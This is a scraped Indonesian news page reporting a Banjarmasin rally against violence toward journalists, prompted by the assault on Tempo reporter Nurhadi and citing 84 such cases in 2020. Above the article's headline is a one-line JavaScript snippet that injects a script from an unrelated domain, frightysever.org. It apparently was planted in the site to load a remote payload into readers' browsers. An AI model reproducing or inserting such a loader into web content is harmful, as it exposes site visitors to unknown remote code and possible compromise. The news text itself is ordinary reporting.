(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sepanjang 2020 Ada 84 Kasus, Tindak Kekerasan Masih Bayangi Kerja Jurnalis


KANALKALIMANTAN.COM, BANJARMASIN – Tindakan kekerasan yang menimpa Nurhadi, jurnalis Tempo di Surabaya menyulut aksi solidaritas sesama wartawan. Aliansi Jurnalis Independen (AJI) Balikpapan Biro Banjarmasin bersama Perhimpunan Pers Mahasiswa Indonesia (PPMI) Dewan Kerja Banjarmasin ini digelar aksi solidaritas di Jalan Lambung Mangkurat, Banjarmasin, Jumat (2/4/2021) sore.

AJI Indonesia mencatat, sepanjang tahun 2020 ada 84 kasus kekerasan terhadap wartawan, baik dalam bentuk pemukulan, perusakan alat kerja, maupun bentuk-bentuk intimidasi lainnya.

Diananta Putera Sumedi, mantan Pimred Banjarhits yang pernah berurusan dengan pihak kepolisian terkait tugasnya sebagai wartawan, mengungkapkan bahwa kekerasan yang menimpa Nurhadi sebagai bentuk intimidasi terhadap kerja-kerja jurnalistik.

“Sepanjang tahun 2020 ada 10 kasus kriminalisasi pers, dari 10 kasus itu, 2 sudah berkekuatan hukum tetap, salah satunya saya, sementara yang 8 itu masih proses. Baik proses di kepolisian, kejaksaan, maupun proses di persidangan,” ungkap laki-laki yang akrab disapa Nanta ini.

Ditemui usai aksi, Nanta menegaskan bahwa kasus yang menimpa Nurhadi mengisyaratkan kekerasan terhadap wartawan tidak sepenuhnya hilang. Ia juga berharap bahwa kasus kekerasan terhadap Nurhadi ini menjadi yang terakhir kali terjadi.

“Saya juga menghimbau kepada kawan-kawan wartawan dan Lembaga Pers Mahasiswa untuk lebih menguatkan kesadaran kolektif, hal ini penting sebagai bentuk solidaritas sesama wartawan dan pekerja media,” pungkas Diananta.

Sebelumnya, belasan wartawan yang sedang melakukan orasi, baca puisi dan pentas teatrikal, dengan dijaga para petugas kepolisian.

Fariz Fadillah, juru bicara koalisi kemerdekaan pers mengatakan, aksi ini bertujuan untuk memberi peringatan kepada aparat penegak hukum, maupun oknum-oknum yang ingin menghalangi kerja para jurnalis.

“Karena pekerjaan jurnalis sendiri, sudah dilindungi oleh Undang-Undang Pers nomor 40 Tahun 1999,” ujar Fariz
Dalam aksi ini, para peserta aksi menuntut, agar pemerintah dan Polda Jawa Timur, bisa segera mengusut tuntas kasus kekerasan terhadap jurnalis Tempo Nurhadi.

“Selain itu, kami juga mengajak semua pihak untuk melawan segala bentuk kekerasan terhadap jurnalis. Karena jurnalis sejatinya bekerja untuk publik,” ucap Fariz. (kanalkalimantan.com/Nissa)

 

Reporter : Nissa
Editor : Cell

 

 


Al Ghifari

Recent Posts

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

14 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

16 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

18 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

2 hari ago

This website uses cookies.